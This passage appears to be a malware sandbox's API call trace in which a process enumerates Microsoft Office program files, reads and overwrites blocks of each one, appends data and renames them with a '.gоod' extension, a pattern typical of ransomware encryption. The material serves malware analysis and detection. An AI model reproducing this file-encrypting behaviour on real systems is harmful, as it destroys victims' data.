lpFileInformation=0x1feede80 | out: lpFileInformation=0x1feede80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x38c7dfe5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x120)) returned 1 [0101.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feedd60) returned 1 [0101.622] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.gоod" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.gоod")) returned 1 [0101.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed600) returned 1 [0101.623] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16", nBufferLength=0x105, lpBuffer=0x1feed0a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16", lpFilePart=0x0) returned 0x2a [0101.623] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\*", lpFindFileData=0x1feed320 | out: lpFindFileData=0x1feed320*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0101.623] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.623] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x2a9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.HTM", cAlternateFileName="")) returned 1 [0101.623] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ea17a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x17103, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.VBS", cAlternateFileName="")) returned 1 [0101.835] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0102.109] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x6a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1 [0102.111] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xda9a8629, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x8df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLERROR.XML", cAlternateFileName="")) returned 1 [0102.112] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.112] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0102.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed540) returned 1 [0102.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed500) returned 1 [0102.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed600) returned 1 [0102.112] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16", nBufferLength=0x105, lpBuffer=0x1feed0a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16", lpFilePart=0x0) returned 0x2a [0102.112] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\*", lpFindFileData=0x1feed320 | out: lpFindFileData=0x1feed320*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0102.112] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.113] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x2a9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.HTM", cAlternateFileName="")) returned 1 [0102.113] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ea17a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x17103, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.VBS", cAlternateFileName="")) returned 1 [0102.113] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x6a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1 [0102.113] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xda9a8629, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x8df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLERROR.XML", cAlternateFileName="")) returned 1 [0102.113] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1feed2e0 | out: lpFindFileData=0x1feed2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xda9a8629, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x8df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLERROR.XML", cAlternateFileName="")) returned 0 [0102.113] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0102.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed540) returned 1 [0102.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed500) returned 1 [0102.114] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM", lpFilePart=0x0) returned 0x33 [0102.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0102.114] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), fInfoLevelId=0x0, lpFileInformation=0x3499928 | out: lpFileInformation=0x3499928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x2a9c0)) returned 1 [0102.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0102.114] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM", lpFilePart=0x0) returned 0x33 [0102.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0102.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0102.115] GetFileType (hFile=0x7b4) returned 0x1 [0102.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0102.115] GetFileType (hFile=0x7b4) returned 0x1 [0102.115] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x1000 [0102.115] ReadFile (in: hFile=0x7b4, lpBuffer=0x349bb58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed3d8, lpOverlapped=0x0 | out: lpBuffer=0x349bb58*, lpNumberOfBytesRead=0x1feed3d8*=0x1000, lpOverlapped=0x0) returned 1 [0102.116] CloseHandle (hObject=0x7b4) returned 1 [0102.116] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM", lpFilePart=0x0) returned 0x33 [0102.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0102.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0102.116] GetFileType (hFile=0x7b4) returned 0x1 [0102.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0102.116] GetFileType (hFile=0x7b4) returned 0x1 [0102.116] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x2a9c0 [0102.116] WriteFile (in: hFile=0x7b4, lpBuffer=0x349cdc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1feed2f8, lpOverlapped=0x0 | out: lpBuffer=0x349cdc0*, lpNumberOfBytesWritten=0x1feed2f8*=0x10, lpOverlapped=0x0) returned 1 [0102.117] CloseHandle (hObject=0x7b4) returned 1 [0102.117] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM", lpFilePart=0x0) returned 0x33 [0102.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0102.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0102.117] GetFileType (hFile=0x7b4) returned 0x1 [0102.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0102.118] GetFileType (hFile=0x7b4) returned 0x1 [0102.118] ReadFile (in: hFile=0x7b4, lpBuffer=0x349f050, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed388, lpOverlapped=0x0 | out: lpBuffer=0x349f050*, lpNumberOfBytesRead=0x1feed388*=0x1000, lpOverlapped=0x0) returned 1 [0102.146] CloseHandle (hObject=0x7b4) returned 1 [0102.146] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM", lpFilePart=0x0) returned 0x33 [0102.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0102.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0102.146] GetFileType (hFile=0x7b4) returned 0x1 [0102.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0102.147] GetFileType (hFile=0x7b4) returned 0x1 [0102.147] WriteFile (in: hFile=0x7b4, lpBuffer=0x349ddd8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1feed438, lpOverlapped=0x0 | out: lpBuffer=0x349ddd8*, lpNumberOfBytesWritten=0x1feed438*=0x1010, lpOverlapped=0x0) returned 1 [0102.147] CloseHandle (hObject=0x7b4) returned 1 [0102.147] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM", lpFilePart=0x0) returned 0x33 [0102.147] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.gоod", lpFilePart=0x0) returned 0x38 [0102.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0102.147] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3918f140, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2a9d0)) returned 1 [0102.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0102.147] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.gоod" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.gоod")) returned 1 [0102.624] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS", lpFilePart=0x0) returned 0x33 [0102.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0102.624] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), fInfoLevelId=0x0, lpFileInformation=0x35da3d8 | out: lpFileInformation=0x35da3d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ea17a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x17103)) returned 1 [0102.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0102.624] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS", lpFilePart=0x0) returned 0x33 [0102.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0102.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0102.624] GetFileType (hFile=0x7b4) returned 0x1 [0102.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0102.624] GetFileType (hFile=0x7b4) returned 0x1 [0102.624] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x1000 [0102.624] ReadFile (in: hFile=0x7b4, lpBuffer=0x35da790, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed3d8, lpOverlapped=0x0 | out: lpBuffer=0x35da790*, lpNumberOfBytesRead=0x1feed3d8*=0x1000, lpOverlapped=0x0) returned 1 [0102.626] CloseHandle (hObject=0x7b4) returned 1 [0102.626] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS", lpFilePart=0x0) returned 0x33 [0102.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0102.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0102.626] GetFileType (hFile=0x7b4) returned 0x1 [0102.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0102.626] GetFileType (hFile=0x7b4) returned 0x1 [0102.626] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1feed408*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1feed408*=0) returned 0x17103 [0102.626] WriteFile (in: hFile=0x7b4, lpBuffer=0x35db9f8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1feed2f8, lpOverlapped=0x0 | out: lpBuffer=0x35db9f8*, lpNumberOfBytesWritten=0x1feed2f8*=0x10, lpOverlapped=0x0) returned 1 [0102.627] CloseHandle (hObject=0x7b4) returned 1 [0102.627] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS", lpFilePart=0x0) returned 0x33 [0102.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0102.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0102.627] GetFileType (hFile=0x7b4) returned 0x1 [0102.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0102.627] GetFileType (hFile=0x7b4) returned 0x1 [0102.627] ReadFile (in: hFile=0x7b4, lpBuffer=0x35ddc88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed388, lpOverlapped=0x0 | out: lpBuffer=0x35ddc88*, lpNumberOfBytesRead=0x1feed388*=0x1000, lpOverlapped=0x0) returned 1 [0104.384] CloseHandle (hObject=0x7b4) returned 1 [0104.384] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS", nBufferLength=0x105, lpBuffer=0x1feecd90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS", lpFilePart=0x0) returned 0x33 [0104.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed2b0) returned 1 [0104.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0104.385] GetFileType (hFile=0x7b4) returned 0x1 [0104.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed220) returned 1 [0104.385] GetFileType (hFile=0x7b4) returned 0x1 [0104.385] WriteFile (in: hFile=0x7b4, lpBuffer=0x31ba238*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1feed438, lpOverlapped=0x0 | out: lpBuffer=0x31ba238*, lpNumberOfBytesWritten=0x1feed438*=0x1010, lpOverlapped=0x0) returned 1 [0104.385] CloseHandle (hObject=0x7b4) returned 1 [0104.385] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS", lpFilePart=0x0) returned 0x33 [0104.385] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.gоod", lpFilePart=0x0) returned 0x38 [0104.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0104.385] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ea17a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3a6da933, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x17113)) returned 1 [0104.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0104.385] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.gоod" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.gоod")) returned 1 [0104.386] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE", lpFilePart=0x0) returned 0x38 [0104.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0104.386] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), fInfoLevelId=0x0, lpFileInformation=0x334ce68 | out: lpFileInformation=0x334ce68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, 